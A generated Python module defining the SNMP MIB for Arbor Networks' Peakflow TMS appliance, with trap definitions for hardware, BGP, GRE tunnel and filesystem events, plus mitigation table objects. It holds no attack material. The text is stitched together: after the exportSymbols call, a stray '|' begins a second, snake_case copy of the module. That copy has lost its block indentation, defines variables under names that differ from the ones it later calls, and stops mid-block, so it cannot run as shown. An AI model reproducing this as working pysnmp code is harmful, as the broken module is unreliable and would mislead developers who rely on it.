tmsHwDeviceDown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 18)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsHwDeviceDown.setStatus('current')
if mibBuilder.loadTexts: tmsHwDeviceDown.setDescription('A hardware device has failed.')
tmsHwDeviceUp = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 19)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsHwDeviceUp.setStatus('current')
if mibBuilder.loadTexts: tmsHwDeviceUp.setDescription('A hardware device failure has been corrected.')
tmsHwSensorCritical = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 20)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsHwSensorCritical.setStatus('current')
if mibBuilder.loadTexts: tmsHwSensorCritical.setDescription('A hardware sensor is reading an alarm condition.')
tmsHwSensorOk = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 21)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsHwSensorOk.setStatus('current')
if mibBuilder.loadTexts: tmsHwSensorOk.setDescription('A hardware sensor is no longer reading an alarm condition.')
tmsSwComponentDown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 22)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapSubhostName"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsSwComponentDown.setStatus('current')
if mibBuilder.loadTexts: tmsSwComponentDown.setDescription('A software program has failed.')
tmsSwComponentUp = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 23)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapSubhostName"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsSwComponentUp.setStatus('current')
if mibBuilder.loadTexts: tmsSwComponentUp.setDescription('A software program failure has been corrected.')
tmsSystemStatusCritical = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 24)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsSystemStatusCritical.setStatus('current')
if mibBuilder.loadTexts: tmsSystemStatusCritical.setDescription('The TMS system is experiencing a critical failure.')
tmsSystemStatusDegraded = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 25)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsSystemStatusDegraded.setStatus('current')
if mibBuilder.loadTexts: tmsSystemStatusDegraded.setDescription('The TMS system is experiencing degraded performance.')
tmsSystemStatusNominal = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 26)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsSystemStatusNominal.setStatus('current')
if mibBuilder.loadTexts: tmsSystemStatusNominal.setDescription('The TMS system has returned to normal behavior.')
tmsFilesystemCritical = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 27)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsFilesystemCritical.setStatus('current')
if mibBuilder.loadTexts: tmsFilesystemCritical.setDescription('A filesystem is near capacity.')
tmsFilesystemNominal = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 28)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsFilesystemNominal.setStatus('current')
if mibBuilder.loadTexts: tmsFilesystemNominal.setDescription('A filesystem is back below capacity alarm threshold.')
tmsHwSensorUnknown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 29)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsHwSensorUnknown.setStatus('current')
if mibBuilder.loadTexts: tmsHwSensorUnknown.setDescription('A hardware sensor is in an unknown state.')
tmsSpCommunicationUp = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 30)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsSpCommunicationUp.setStatus('current')
if mibBuilder.loadTexts: tmsSpCommunicationUp.setDescription('Communication with SP host is up.')
tmsSpCommunicationDown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 31)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsSpCommunicationDown.setStatus('current')
if mibBuilder.loadTexts: tmsSpCommunicationDown.setDescription('Communication with SP host is down.')
tmsSystemStatusError = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 32)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsSystemStatusError.setStatus('current')
if mibBuilder.loadTexts: tmsSystemStatusError.setDescription('The TMS system is experiencing an error.')
tmsAutomitigationBgpEnabled = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 33)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsAutomitigationBgpEnabled.setStatus('current')
if mibBuilder.loadTexts: tmsAutomitigationBgpEnabled.setDescription('A previously-detected automitigation problem has been cleared and the automitigation BGP announcements have resumed.')
tmsAutomitigationBgpDisabled = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 34)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsAutomitigationBgpDisabled.setStatus('current')
if mibBuilder.loadTexts: tmsAutomitigationBgpDisabled.setDescription('Automitigation BGP announcements have been administratively disabled.')
tmsAutomitigationBgpSuspended = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 35)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsAutomitigationBgpSuspended.setStatus('current')
if mibBuilder.loadTexts: tmsAutomitigationBgpSuspended.setDescription('Automitigation BGP announcements have been suspended due to some external problem (nexthop not reachable, BGP down, etc.)')
tmsIpv6GreTunnelDown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 36)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapIpv6GreSource"), ("PEAKFLOW-TMS-MIB", "tmsTrapIpv6GreDestination"))
if mibBuilder.loadTexts: tmsIpv6GreTunnelDown.setStatus('current')
if mibBuilder.loadTexts: tmsIpv6GreTunnelDown.setDescription('The greTunnelDown/greTunnelUp traps are generated when a GRE tunnel changes state.')
tmsIpv6GreTunnelUp = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 37)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapIpv6GreSource"), ("PEAKFLOW-TMS-MIB", "tmsTrapIpv6GreDestination"))
if mibBuilder.loadTexts: tmsIpv6GreTunnelUp.setStatus('current')
if mibBuilder.loadTexts: tmsIpv6GreTunnelUp.setDescription('The greTunnelDown/greTunnelUp traps are generated when a GRE tunnel changes state.')
tmsIpv6BgpNeighborDown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 38)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapIpv6BgpPeer"))
if mibBuilder.loadTexts: tmsIpv6BgpNeighborDown.setStatus('current')
if mibBuilder.loadTexts: tmsIpv6BgpNeighborDown.setDescription('Generated when a BGP neighbor transitions out of the ESTABLISHED state.')
tmsIpv6BgpNeighborUp = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 39)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapIpv6BgpPeer"))
if mibBuilder.loadTexts: tmsIpv6BgpNeighborUp.setStatus('current')
if mibBuilder.loadTexts: tmsIpv6BgpNeighborUp.setDescription('Generated when a BGP neighbor transitions into the ESTABLISHED state.')
tmsIpv6NexthopDown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 40)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapIpv6Nexthop"), ("IF-MIB", "ifName"))
if mibBuilder.loadTexts: tmsIpv6NexthopDown.setStatus('current')
if mibBuilder.loadTexts: tmsIpv6NexthopDown.setDescription('Generated when the nexthop host becomes unreachable.')
tmsIpv6NexthopUp = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 41)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapIpv6Nexthop"), ("IF-MIB", "ifName"))
if mibBuilder.loadTexts: tmsIpv6NexthopUp.setStatus('current')
if mibBuilder.loadTexts: tmsIpv6NexthopUp.setDescription('Generated when the nexthop host becomes reachable.')
tmsPerformanceOk = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 42)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsPerformanceOk.setStatus('current')
if mibBuilder.loadTexts: tmsPerformanceOk.setDescription('Generated when the processed traffic rate matches the offered traffic rate.')
tmsPerformanceLossy = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 43)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsPerformanceLossy.setStatus('current')
if mibBuilder.loadTexts: tmsPerformanceLossy.setDescription('Generated when the processed traffic rate is lower than the offered traffic rate.')
tmsSystemPrefixesOk = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 44)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsSystemPrefixesOk.setStatus('current')
if mibBuilder.loadTexts: tmsSystemPrefixesOk.setDescription('BGP is currently advertising all mitigation prefixes.')
tmsSystemPrefixesMissing = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 45)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsSystemPrefixesMissing.setStatus('current')
if mibBuilder.loadTexts: tmsSystemPrefixesMissing.setDescription('BGP is not currently advertising all mitigation prefixes.')
peakflowTmsObj = MibIdentifier((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5))
tmsDpiConfig = MibIdentifier((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 1))
tmsVersion = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 1, 1), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsVersion.setStatus('current')
if mibBuilder.loadTexts: tmsVersion.setDescription('TMS software version')
tmsLastUpdate = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 1, 2), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsLastUpdate.setStatus('current')
if mibBuilder.loadTexts: tmsLastUpdate.setDescription('Time of the last configuration change')
tmsMitigationConfig = MibIdentifier((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2))
tmsMitigationLastUpdate = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 1), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsMitigationLastUpdate.setStatus('current')
if mibBuilder.loadTexts: tmsMitigationLastUpdate.setDescription('Last time Mitigation configuration was updated')
tmsMitigationNumber = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 2), TmsTableIndexOrZero()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsMitigationNumber.setStatus('current')
if mibBuilder.loadTexts: tmsMitigationNumber.setDescription('Number of entries in the tmsMitigation table')
tmsMitigationTable = MibTable((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3), )
if mibBuilder.loadTexts: tmsMitigationTable.setStatus('current')
if mibBuilder.loadTexts: tmsMitigationTable.setDescription('Table of all mitigations in the TMS system')
tmsMitigationEntry = MibTableRow((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1), ).setIndexNames((0, "PEAKFLOW-TMS-MIB", "tmsMitigationIndex"))
if mibBuilder.loadTexts: tmsMitigationEntry.setStatus('current')
if mibBuilder.loadTexts: tmsMitigationEntry.setDescription('Information about a single mitigation')
tmsMitigationIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1, 1), TmsTableIndex()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsMitigationIndex.setStatus('current')
if mibBuilder.loadTexts: tmsMitigationIndex.setDescription('Index in the tmsMitigation table. As of release 5.0 this is the same as the tmsMitigationId.')
tmsMitigationId = MibTableColumn((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1, 2), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsMitigationId.setStatus('current')
if mibBuilder.loadTexts: tmsMitigationId.setDescription('ID number of this mitigation')
tmsDestinationPrefix = MibTableColumn((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1, 3), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsDestinationPrefix.setStatus('current')
if mibBuilder.loadTexts: tmsDestinationPrefix.setDescription('Destination IPv4 prefix to which this mitigation applies. The value 0.0.0.0/32 indicates that the mitigation has no IPv4 prefix.')
tmsDestinationPrefixMask = MibTableColumn((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1, 4), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 32))).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsDestinationPrefixMask.setStatus('current')
if mibBuilder.loadTexts: tmsDestinationPrefixMask.setDescription('Destination IPv4 prefix to which this mitigation applies. The value 0.0.0.0/32 indicates that the mitigation has no IPv4 prefix.')
tmsMitigationName = MibTableColumn((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1, 5), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsMitigationName.setStatus('current')
if mibBuilder.loadTexts: tmsMitigationName.setDescription('Name of this mitigation')
tmsIpv6DestinationPrefix = MibTableColumn((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1, 6), Ipv6AddressPrefix()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsIpv6DestinationPrefix.setStatus('current')
if mibBuilder.loadTexts: tmsIpv6DestinationPrefix.setDescription('Destination IPv6 prefix to which this mitigation applies. The value 0::/128 indicates that the mitigation has no IPv6 prefix.')
tmsIpv6DestinationPrefixMask = MibTableColumn((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1, 7), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 128))).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsIpv6DestinationPrefixMask.setStatus('current')
if mibBuilder.loadTexts: tmsIpv6DestinationPrefixMask.setDescription('Destination IPv6 prefix to which this mitigation applies. The value 0::/128 indicates that the mitigation has no IPv6 prefix.')
mibBuilder.exportSymbols("PEAKFLOW-TMS-MIB", tmsConfigError=tmsConfigError, tmsTrapNexthop=tmsTrapNexthop, devicePhysicalMemoryUsage=devicePhysicalMemoryUsage, tmsTrapString=tmsTrapString, tmsIpv6DestinationPrefixMask=tmsIpv6DestinationPrefixMask, tmsNexthopUp=tmsNexthopUp, tmsPerformanceLossy=tmsPerformanceLossy, tmsConfigOk=tmsConfigOk, tmsTrapGreDestination=tmsTrapGreDestination, tmsHostFault=tmsHostFault, tmsFilesystemNominal=tmsFilesystemNominal, tmsSpCommunicationDown=tmsSpCommunicationDown, tmsSystemPrefixesMissing=tmsSystemPrefixesMissing, tmsTrapIpv6Nexthop=tmsTrapIpv6Nexthop, peakflowTmsObj=peakflowTmsObj, tmsLastUpdate=tmsLastUpdate, tmsMitigationId=tmsMitigationId, tmsMitigationConfig=tmsMitigationConfig, tmsMitigationLastUpdate=tmsMitigationLastUpdate, tmsMitigationError=tmsMitigationError, deviceDiskUsage=deviceDiskUsage, tmsMitigationIndex=tmsMitigationIndex, peakflowTmsTrapsEnumerate=peakflowTmsTrapsEnumerate, tmsIpv6GreTunnelUp=tmsIpv6GreTunnelUp, tmsBgpNeighborUp=tmsBgpNeighborUp, tmsMitigationEntry=tmsMitigationEntry, deviceCpuLoadAvg1min=deviceCpuLoadAvg1min, tmsMitigationNumber=tmsMitigationNumber, peakflowTmsMgr=peakflowTmsMgr, tmsSystemPrefixesOk=tmsSystemPrefixesOk, greTunnelDown=greTunnelDown, subHostUp=subHostUp, tmsLinkUp=tmsLinkUp, tmsBgpNeighborDown=tmsBgpNeighborDown, tmsLinkDown=tmsLinkDown, tmsMitigationTable=tmsMitigationTable, tmsSwComponentDown=tmsSwComponentDown, tmsIpv6NexthopUp=tmsIpv6NexthopUp, tmsTrapComponentName=tmsTrapComponentName, tmsIpv6BgpNeighborDown=tmsIpv6BgpNeighborDown, hostFault=hostFault, tmsPerformanceOk=tmsPerformanceOk, tmsHostUpTime=tmsHostUpTime, tmsVersion=tmsVersion, tmsIpv6GreTunnelDown=tmsIpv6GreTunnelDown, tmsTrapGreSource=tmsTrapGreSource, tmsAutomitigationBgpSuspended=tmsAutomitigationBgpSuspended, tmsHwDeviceDown=tmsHwDeviceDown, tmsMitigationSuspended=tmsMitigationSuspended, PYSNMP_MODULE_ID=peakflowTmsMIB, tmsAutomitigationBgpDisabled=tmsAutomitigationBgpDisabled, tmsTrapIpv6GreSource=tmsTrapIpv6GreSource, tmsNexthopDown=tmsNexthopDown, greTunnelUp=greTunnelUp, tmsSwComponentUp=tmsSwComponentUp, tmsSystemStatusNominal=tmsSystemStatusNominal, tmsHwDeviceUp=tmsHwDeviceUp, TmsTableIndexOrZero=TmsTableIndexOrZero, tmsTrapIpv6BgpPeer=tmsTrapIpv6BgpPeer, deviceSwapSpaceUsage=deviceSwapSpaceUsage, tmsSystemStatusDegraded=tmsSystemStatusDegraded, peakflowTmsTraps=peakflowTmsTraps, tmsDestinationPrefixMask=tmsDestinationPrefixMask, tmsHwSensorCritical=tmsHwSensorCritical, peakflowTmsMIB=peakflowTmsMIB, tmsDpiConfig=tmsDpiConfig, tmsFilesystemCritical=tmsFilesystemCritical, tmsIpv6NexthopDown=tmsIpv6NexthopDown, tmsConfigMissing=tmsConfigMissing, tmsTrapBgpPeer=tmsTrapBgpPeer, deviceCpuLoadAvg15min=deviceCpuLoadAvg15min, tmsIpv6DestinationPrefix=tmsIpv6DestinationPrefix, tmsTrapDetail=tmsTrapDetail, deviceCpuLoadAvg5min=deviceCpuLoadAvg5min, tmsIpv6BgpNeighborUp=tmsIpv6BgpNeighborUp, TmsPercentage=TmsPercentage, tmsSystemStatusError=tmsSystemStatusError, tmsSystemStatusCritical=tmsSystemStatusCritical, tmsTrapSubhostName=tmsTrapSubhostName, TmsTableIndex=TmsTableIndex, tmsHwSensorOk=tmsHwSensorOk, tmsMitigationName=tmsMitigationName, tmsMitigationRunning=tmsMitigationRunning, TmsHundredths=TmsHundredths, tmsTrapIpv6GreDestination=tmsTrapIpv6GreDestination, tmsDestinationPrefix=tmsDestinationPrefix, tmsAutomitigationBgpEnabled=tmsAutomitigationBgpEnabled, tmsSpCommunicationUp=tmsSpCommunicationUp, tmsHwSensorUnknown=tmsHwSensorUnknown, subHostDown=subHostDown)
| (arbornetworks_products,) = mibBuilder.importSymbols('ARBOR-SMI', 'arbornetworksProducts')
(integer, object_identifier, octet_string) = mibBuilder.importSymbols('ASN1', 'Integer', 'ObjectIdentifier', 'OctetString')
(named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues')
(constraints_intersection, single_value_constraint, constraints_union, value_size_constraint, value_range_constraint) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'ConstraintsIntersection', 'SingleValueConstraint', 'ConstraintsUnion', 'ValueSizeConstraint', 'ValueRangeConstraint')
(if_name,) = mibBuilder.importSymbols('IF-MIB', 'ifName')
(ipv6_address_prefix, ipv6_address) = mibBuilder.importSymbols('IPV6-TC', 'Ipv6AddressPrefix', 'Ipv6Address')
(notification_group, module_compliance) = mibBuilder.importSymbols('SNMPv2-CONF', 'NotificationGroup', 'ModuleCompliance')
(sys_name,) = mibBuilder.importSymbols('SNMPv2-MIB', 'sysName')
(integer32, bits, object_identity, module_identity, mib_scalar, mib_table, mib_table_row, mib_table_column, gauge32, notification_type, counter64, unsigned32, iso, mib_identifier, time_ticks, counter32, ip_address) = mibBuilder.importSymbols('SNMPv2-SMI', 'Integer32', 'Bits', 'ObjectIdentity', 'ModuleIdentity', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'Gauge32', 'NotificationType', 'Counter64', 'Unsigned32', 'iso', 'MibIdentifier', 'TimeTicks', 'Counter32', 'IpAddress')
(textual_convention, display_string) = mibBuilder.importSymbols('SNMPv2-TC', 'TextualConvention', 'DisplayString')
peakflow_tms_mib = module_identity((1, 3, 6, 1, 4, 1, 9694, 1, 5))
peakflowTmsMIB.setRevisions(('2013-08-19 00:00', '2012-03-29 12:00', '2012-01-12 12:00', '2011-06-14 16:00', '2011-06-03 16:00', '2011-06-03 00:00', '2011-05-23 00:00', '2011-01-21 00:00', '2010-10-28 00:00', '2010-09-07 00:00', '2009-05-27 00:00', '2009-05-08 00:00', '2009-03-11 00:00', '2009-02-13 00:00', '2008-11-13 00:00', '2008-04-07 00:00', '2007-11-20 00:00', '2007-04-27 00:00'))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
if mibBuilder.loadTexts:
peakflowTmsMIB.setRevisionsDescriptions(('Updated contact information', 'Bug#50908: Fix reversed tmsSpCommunication enumerations.', 'Added tmsSystemPrefixesOk and tmsSystemPrefixesMissing traps.', 'Fix stray quote that was causing a syntax error.', 'Added performnace traps.', 'Fixed some typos and grammar problems.', 'Added IPv6 versions of existing IPv4 objects.', 'Added new traps (tmsAutomitigationBgp {Enabled/Disabled/Suspended}) for traffic-triggered automitigation BGP announcements.', 'Added new traps (tmsSpCommunicationDown and tmsSpCommunicationUp) for alerting about failed communication with Peakflow SP.', 'Added new traps (tmsFilesystemCritical and tmsFilesystemNominal) for new filesystem monitoring feature.', 'The March 11 2009 revision had accidentally obsoleted the tmsHostFault OID, rather than the hostFault trap. This is now fixed. The tmsHostFault OID is restored to current status and the hostFault trap is marked obsolete.', 'Update contact group name and company address.', 'Obsoleted the tmsHostFault trap.', 'Added new objects to support TMS 5.0', 'Update contact info.', "Prefixed Textual Conventions with 'Tms' for uniqueness", 'Removed unused Textual Conventions, added display hints', 'Initial revision'))
if mibBuilder.loadTexts:
peakflowTmsMIB.setLastUpdated('201308190000Z')
if mibBuilder.loadTexts:
peakflowTmsMIB.setOrganization('Arbor Networks, Inc.')
if mibBuilder.loadTexts:
peakflowTmsMIB.setContactInfo(' Arbor Networks, Inc. Arbor Technical Assistance Center Postal: 76 Blanchard Road Burlington, MA 01803 USA Tel: +1 866 212 7267 (toll free) +1 781 362 4300 Email: support@arbor.net ')
if mibBuilder.loadTexts:
peakflowTmsMIB.setDescription('Peakflow TMS MIB')
class Tmstableindex(TextualConvention, Integer32):
description = 'Used for an index into a table'
status = 'current'
display_hint = 'd'
subtype_spec = Integer32.subtypeSpec + value_range_constraint(1, 2147483647)
class Tmstableindexorzero(TextualConvention, Integer32):
description = 'The number of items in a table. May be zero if the table is empty.'
status = 'current'
display_hint = 'd'
subtype_spec = Integer32.subtypeSpec + value_range_constraint(0, 2147483647)
class Tmspercentage(TextualConvention, Integer32):
description = 'A percentage value (0% - 100%)'
status = 'current'
display_hint = 'd'
subtype_spec = Integer32.subtypeSpec + value_range_constraint(0, 100)
class Tmshundredths(TextualConvention, Integer32):
description = 'An integer representing hundredths of a unit'
status = 'current'
display_hint = 'd-2'
peakflow_tms_mgr = mib_identifier((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2))
tms_host_fault = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 1), display_string()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsHostFault.setStatus('current')
if mibBuilder.loadTexts:
tmsHostFault.setDescription('state of faults within a TMS device')
tms_host_up_time = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 2), time_ticks()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsHostUpTime.setStatus('current')
if mibBuilder.loadTexts:
tmsHostUpTime.setDescription('uptime of this host')
device_cpu_load_avg1min = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 3), tms_hundredths()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
deviceCpuLoadAvg1min.setStatus('current')
if mibBuilder.loadTexts:
deviceCpuLoadAvg1min.setDescription('Average number of processes in run queue during last 1 min.')
device_cpu_load_avg5min = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 4), tms_hundredths()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
